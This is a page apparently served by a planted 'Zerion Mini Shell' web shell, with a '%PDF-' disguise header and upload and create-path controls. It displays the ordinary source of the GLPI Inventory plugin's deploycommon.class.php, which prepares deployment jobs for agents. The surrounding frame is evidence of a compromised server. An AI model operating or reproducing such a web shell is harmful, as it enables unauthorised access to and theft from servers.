%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/3163975/root/home/infra/glpiinventory/inc/
Upload File :
Create Path :
Current File : //proc/3163975/root/home/infra/glpiinventory/inc/deploycommon.class.php

<?php

/**
 * ---------------------------------------------------------------------
 * GLPI Inventory Plugin
 * Copyright (C) 2021 Teclib' and contributors.
 *
 * http://glpi-project.org
 *
 * based on FusionInventory for GLPI
 * Copyright (C) 2010-2021 by the FusionInventory Development Team.
 *
 * ---------------------------------------------------------------------
 *
 * LICENSE
 *
 * This file is part of GLPI Inventory Plugin.
 *
 * GLPI Inventory Plugin is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * GLPI Inventory Plugin is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with GLPI Inventory Plugin. If not, see <https://www.gnu.org/licenses/>.
 * ---------------------------------------------------------------------
 */

use Glpi\Toolbox\Sanitizer;

if (!defined('GLPI_ROOT')) {
    die("Sorry. You can't access directly to this file");
}

/**
 * Manage the prepare task job and give the data to the agent when request what
 * to deploy.
 */
class PluginGlpiinventoryDeployCommon extends PluginGlpiinventoryCommunication
{
   /**
    * Check if definition_type is present in definitions_filter array.
    * This function returns true if the definition_type is not in
    * definitions_filter array.
    * If definitions_filter is NULL, this check is inhibited and return false.
    *
    * @param string $definition_type
    * @param null|array $definitions_filter
    * @return boolean
    */
    public function definitionFiltered($definition_type, $definitions_filter)
    {
        if (
            !is_null($definitions_filter)
              && is_array($definitions_filter)
              && count($definitions_filter) > 0
              && !in_array($definition_type, $definitions_filter)
        ) {
            return true;
        }
        return false;
    }


   /**
    * Prepare a takjob, get all devices and put in taskjobstate each task
    * for each device for each agent
    *
    * @global object $DB
    * @param integer $taskjob_id id of the taskjob
    * @param null|array $definitions_filter
    */
    public function prepareRun($taskjob_id, $definitions_filter = null)
    {
        global $DB;

        $task       = new PluginGlpiinventoryTask();
        $job        = new PluginGlpiinventoryTaskjob();
        $joblog     = new PluginGlpiinventoryTaskjoblog();
        $jobstate   = new PluginGlpiinventoryTaskjobstate();
        $agent      = new Agent();
        $agentmodule = new PluginGlpiinventoryAgentmodule();

        $job->getFromDB($taskjob_id);
        $task->getFromDB($job->fields['plugin_glpiinventory_tasks_id']);

        $actions     = importArrayFromDB($job->fields['action']);
        $definitions = importArrayFromDB($job->fields['definition']);
        $taskvalid   = 0;

        $computers = [];
        foreach ($actions as $action) {
            $itemtype = key($action);
            $items_id = current($action);

            switch ($itemtype) {
                case 'Computer':
                    if ($this->definitionFiltered("Computer", $definitions_filter)) {
                        break;
                    }
                    $computers[] = $items_id;
                    break;

                case 'Group':
                    if ($this->definitionFiltered("Group", $definitions_filter)) {
                        break;
                    }
                    $computer_object = new Computer();

                   //find computers by user associated with this group
                    $group_users   = new Group_User();
                    $group         = new Group();
                    $group->getFromDB($items_id);

                    $computers_a_1 = [];
                    $computers_a_2 = [];

                    $members = $group_users->getGroupUsers($items_id);

                    foreach ($members as $member) {
                        $computers = $computer_object->find(
                            ['users_id'    => $member['id'],
                            'is_deleted'  => 0,
                            'is_template' => 0]
                        );
                        foreach ($computers as $computer) {
                               $computers_a_1[] = $computer['id'];
                        }
                    }

                 //find computers directly associated with this group
                    $computers = $computer_object->find(
                        ['groups_id'   => $items_id,
                        'is_deleted'  => 0,
                        'is_template' => 0]
                    );
                    foreach ($computers as $computer) {
                         $computers_a_2[] = $computer['id'];
                    }

                   //merge two previous array and deduplicate entries
                    $computers = array_unique(array_merge($computers_a_1, $computers_a_2));
                    break;

                case 'PluginGlpiinventoryDeployGroup':
                    $group = new PluginGlpiinventoryDeployGroup();
                    $group->getFromDB($items_id);

                    switch ($group->getField('type')) {
                        case 'STATIC':
                            if ($this->definitionFiltered("PluginGlpiinventoryDeployGroupStatic", $definitions_filter)) {
                                break;
                            }
                            $iterator = $DB->request([
                                'SELECT' => 'items_id',
                                'FROM'   => 'glpi_plugin_glpiinventory_deploygroups_staticdatas',
                                'WHERE'  => [
                                    'groups_id' => $items_id,
                                    'itemtype'  => 'Computer'
                                ]
                            ]);
                            foreach ($iterator as $row) {
                                $computers[] = $row['items_id'];
                            }
                            break;
                        case 'DYNAMIC':
                            if ($this->definitionFiltered("PluginGlpiinventoryDeployGroupDynamic", $definitions_filter)) {
                                break;
                            }

                            //$definitions_filter is NULL = update by crontask !
                            $where = [];
                            if ($definitions_filter != null) {
                                $where['can_update_group'] = 1;
                            }

                            $iterator = $DB->request([
                                'SELECT' => 'fields_array',
                                'FROM'   => 'glpi_plugin_glpiinventory_deploygroups_dynamicdatas',
                                'WHERE'  => [
                                    'groups_id' => $items_id
                                ] + $where,
                                'LIMIT'  => 1
                            ]);

                            //No dynamic groups have been found : break
                            if (count($iterator) == 0) {
                                break;
                            }
                            $row = $iterator->current();

                            $get_tmp = $_GET;
                            if (isset($_SESSION["glpisearchcount"]['Computer'])) {
                                unset($_SESSION["glpisearchcount"]['Computer']);
                            }
                            if (isset($_SESSION["glpisearchcount2"]['Computer'])) {
                                unset($_SESSION["glpisearchcount2"]['Computer']);
                            }

                            $_GET = importArrayFromDB($row['fields_array']);

                            $_GET["glpisearchcount"] = count($_GET['field']);
                            if (isset($_GET['field2'])) {
                                $_GET["glpisearchcount2"] = count($_GET['field2']);
                            }

                            $pfSearch = new Search();
                            $glpilist_limit             = $_SESSION['glpilist_limit'];
                            $_SESSION['glpilist_limit'] = 999999999;
                            $search_params = Search::manageParams('Computer', $_GET);
                            $results = Search::getDatas('Computer', $search_params);
                            $_SESSION['glpilist_limit'] = $glpilist_limit;
                            foreach ($results as $result) {
                                $computers[] = $result['id'];
                            }
                            if (count($get_tmp) > 0) {
                                $_GET = $get_tmp;
                            }
                            break;
                    }
                    break;
            }
        }

       //Remove duplicatas from array
       //We are using isset for faster processing than array_unique because we might have many
       //entries in this list.
        $tmp_computers = [];
        foreach ($computers as $computer) {
            if (!isset($tmp_computers[$computer])) {
                $tmp_computers[$computer] = 1;
            }
        }
        $computers = array_keys($tmp_computers);

        $c_input = [];
        $c_input['plugin_glpiinventory_taskjobs_id'] = $job->fields['id'];
        $c_input['state']                              = 0;
        $c_input['agents_id']   = 0;
        $c_input['execution_id']                       = $task->fields['execution_id'];

        $package = new PluginGlpiinventoryDeployPackage();

        foreach ($computers as $computer_id) {
           //Unique Id match taskjobstatuses for an agent(computer)

            foreach ($definitions as $definition) {
                $uniqid = uniqid();
                $package->getFromDB($definition['PluginGlpiinventoryDeployPackage']);

                $c_input['state']    = 0;
                $c_input['itemtype'] = 'PluginGlpiinventoryDeployPackage';
                $c_input['items_id'] = $package->fields['id'];
                $c_input['date']     = date("Y-m-d H:i:s");
                $c_input['uniqid']   = $uniqid;

               //get agent for this computer
                $agent->getFromDBByCrit(['itemtype' => 'Computer', 'items_id' => $computer_id]);
                $agents_id = $agent->fields['id'] ?? false;
                if ($agents_id === false) {
                    $jobstates_id = $jobstate->add($c_input);
                    $jobstate->changeStatusFinish(
                        $jobstates_id,
                        0,
                        '',
                        1,
                        "No agent found for [[Computer::" . $computer_id . "]]"
                    );
                } else {
                    if ($agentmodule->isAgentCanDo('DEPLOY', $agents_id)) {
                        $c_input['agents_id'] = $agents_id;

                        $jobstates_running = $jobstate->find(
                            ['itemtype'                         => 'PluginGlpiinventoryDeployPackage',
                            'items_id'                         => $package->fields['id'],
                            'state'                            => ['!=', PluginGlpiinventoryTaskjobstate::FINISHED],
                            'agents_id' => $agents_id
                            ]
                        );

                        if (count($jobstates_running) == 0) {
                            $jobstates_id = $jobstate->add($c_input);

                            //Add log of taskjob
                            $c_input['plugin_glpiinventory_taskjobstates_id'] = $jobstates_id;
                            $c_input['state'] = PluginGlpiinventoryTaskjoblog::TASK_PREPARED;
                            $taskvalid++;
                            $joblog->add($c_input);
                            unset($c_input['state']);
                            unset($c_input['agents_id']);
                        }
                    }
                }
            }
        }
        if ($taskvalid > 0) {
            $job->fields['status'] = 1;
            $job->update($job->fields);
        } else {
            $job->reinitializeTaskjobs($job->fields['plugin_glpiinventory_tasks_id']);
        }
    }


   /**
    * run function, so return data to send to the agent for deploy
    *
    * @param object $taskjobstate PluginGlpiinventoryTaskjobstate instance
    * @return array
    */
    public function run($taskjobstate)
    {

       //Check if the job has been postponed
        if (
            !is_null($taskjobstate->fields['date_start'])
            && $taskjobstate->fields['date_start'] > $_SESSION['glpi_currenttime']
        ) {
           //If the job is postponed and the execution date is in the future,
           //skip the job for now
            return false;
        }

       //get order by type and package id
        $pfDeployPackage = new PluginGlpiinventoryDeployPackage();
        $pfDeployPackage->getFromDB($taskjobstate->fields['items_id']);
       //decode order data
        $order_data = json_decode($pfDeployPackage->fields['json'], true);

       /* TODO:
       * This has to be done properly in each corresponding classes.
       * Meanwhile, I just split the data to rebuild a proper and compliant JSON
       */
        $order_job = $order_data['jobs'];
       //add uniqid to response data
        $order_job['uuid'] = $taskjobstate->fields['uniqid'];

       /* TODO:
       * Orders should only contain job data and associatedFiles should be retrieved from the
       * list inside Orders data like the following :
       *
       * $order_files = []
       * foreach ($order_job["associatedFiles"] as $hash) {
       *    if (!isset($order_files[$hash]) {
       *       $order_files[$hash] = PluginGlpiinventoryDeployFile::getByHash($hash);
       *       $order_files[$hash]['mirrors'] = $mirrors
       *    }
       * }
       */
        $order_files = $order_data['associatedFiles'];

       //Add mirrors to associatedFiles
        $mirrors = PluginGlpiinventoryDeployMirror::getList(
            $taskjobstate->fields['agents_id']
        );
        foreach ($order_files as $hash => $params) {
            $order_files[$hash]['mirrors'] = $mirrors;
            $manifest = PLUGIN_GLPI_INVENTORY_MANIFESTS_DIR . $hash;
            $order_files[$hash]['multiparts'] = [];
            if (file_exists($manifest)) {
                $handle = fopen($manifest, "r");
                if ($handle) {
                    while (($buffer = fgets($handle)) !== false) {
                        $order_files[$hash]['multiparts'][] = trim($buffer);
                    }
                    fclose($handle);
                }
            }
        }
       //Send an empty json dict instead of empty json list
        if (count($order_files) == 0) {
            $order_files = (object)[];
        }

       // Fix some command like : echo "write in file" >> c:\TEMP\HELLO.txt
        if (isset($order_job['actions'])) {
            foreach ($order_job['actions'] as $key => $value) {
                if (isset($value['cmd']) && isset($value['cmd']['exec'])) {
                    $order_job['actions'][$key]['cmd']['exec'] = Sanitizer::unsanitize($value['cmd']['exec']);
                }
            }
        }

        $order = [
         "job"             => $order_job,
         "associatedFiles" => $order_files
        ];
        return $order;
    }
}

Zerion Mini Shell 1.0